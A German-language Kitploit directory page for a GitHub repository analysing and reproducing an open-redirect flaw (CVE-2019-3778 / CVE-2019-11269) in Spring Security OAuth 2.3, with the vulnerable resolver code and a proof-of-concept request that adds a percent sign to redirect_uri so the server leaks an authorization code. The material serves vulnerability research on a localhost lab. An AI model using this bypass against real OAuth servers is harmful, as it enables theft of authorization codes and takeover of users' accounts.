Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection — Spring Security OAuth 2.3 Open Redirection Analyse und Reproduktion | Kitploit
Tools/GitHubGitHub/bbb-man/cve-2019-3778-spring-security-oauth-2.3-open-redirection
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungLernen & Bildung
GitHubbbb-man/cve-2019-3778-spring-security-oauth-2.3-open-redirection

CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection

Spring Security OAuth 2.3 Open Redirection Analyse und Reproduktion

Repository anzeigen
1vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection

Spring Security OAuth 2.3 Open Redirection – Analyse und Reproduktion

Exploit Titel: Open Redirector in spring-security-oauth2

Datum: 17. Juni 2019

Exploit Autor: Riemann

Herstellerseite: https://spring.io/projects/spring-security-oauth

Software-Link: https://spring.io

Version: Spring Security OAuth Versionen 2.3 vor 2.3.6 - org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE

Getestet auf: UBUNTU 16.04 LTS - org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE

CVE : CVE-2019-11269 | CVE-2019-3778

Beschreibung

Spring Security OAuth Versionen 2.3 vor 2.3.6, 2.2 vor 2.2.5, 2.1 vor 2.1.5 und 2.0 vor 2.0.18 sowie ältere, nicht unterstützte Versionen könnten anfällig für einen Open-Redirector-Angriff sein, der einen Autorisierungscode preisgeben kann. Ein böswilliger Benutzer oder Angreifer kann eine Anfrage an den Autorisierungsendpunkt unter Verwendung des Autorisierungscode-Grant-Typs erstellen und eine manipulierte Weiterleitungs-URI über den Parameter redirect_uri angeben. Dies kann dazu führen, dass der Autorisierungsserver den User-Agent des Ressourcenbesitzers auf eine URI unter der Kontrolle des Angreifers mit dem preisgegebenen Autorisierungscode umleitet.

VERWUNDBARKEIT:

Durch Manipulation des Parameters REDIRECT_URI kann ein Angreifer die Validierung tatsächlich umgehen.

Der Code, der die Verwundbarkeit verursacht, befindet sich im Paket org.springframework.security.oauth2.provider.endpoint Die Klasse: DefaultRedirectResolver, deren Methode obtainMatchingRedirect keine ordnungsgemäße Bereinigung durchführt

/**

  • Versucht, eine der registrierten URIs mit der angeforderten abzugleichen.

  • @param redirectUris die Menge der registrierten URIs, in denen eine Übereinstimmung gesucht wird. Darf nicht null oder leer sein.

  • @param requestedRedirect die als Teil der Anfrage verwendete URI

  • @return die übereinstimmende URI

  • @throws RedirectMismatchException wenn keine Übereinstimmung gefunden wurde */ private String obtainMatchingRedirect(Set redirectUris, String requestedRedirect) { Assert.notEmpty(redirectUris, "Redirect URIs dürfen nicht leer sein");

    if (redirectUris.size() == 1 && requestedRedirect == null) { return redirectUris.iterator().next(); } for (String redirectUri : redirectUris) { if (requestedRedirect != null && redirectMatches(requestedRedirect, redirectUri)) { return requestedRedirect; } } throw new RedirectMismatchException("Ungültige Weiterleitung: " + requestedRedirect + " stimmt nicht mit einem der registrierten Werte überein: " + redirectUris.toString()); }

ANGRIFFSVEKTOR (POC)

Die folgende Anfrage, die von der CLIENT-APP nach dem Einloggen des Benutzers gesendet wird, enthält den Parameter REDIRECT_URI. Die Validierung wird umgangen, indem einfach ein Prozentzeichen hinzugefügt wird, was eine Weiterleitung anstelle des Fehlers RedirectMismatchException auslöst.

Die URSPRÜNGLICHE ANFRAGE mit einer gültigen URI: GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/ HTTP/1.1

Der Angreifer täuscht dann die Anwendung, indem er die URI vollständig auf einen anderen Server ändert und zum Beispiel ein Prozentzeichen hinzufügt:

GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/ HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8085/auth/login Connection: close Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63 Upgrade-Insecure-Requests: 1

Die ANTWORT erzeugt tatsächlich keinen erwarteten OAUTH-Fehler, sondern leitet den Benutzer weiter:

HTTP/1.1 302 Cache-Control: no-store X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D Content-Language: en-US Content-Length: 0 Date: Mon, 17 Jun 2019 11:06:18 GMT Connection: close

Tool herunterladen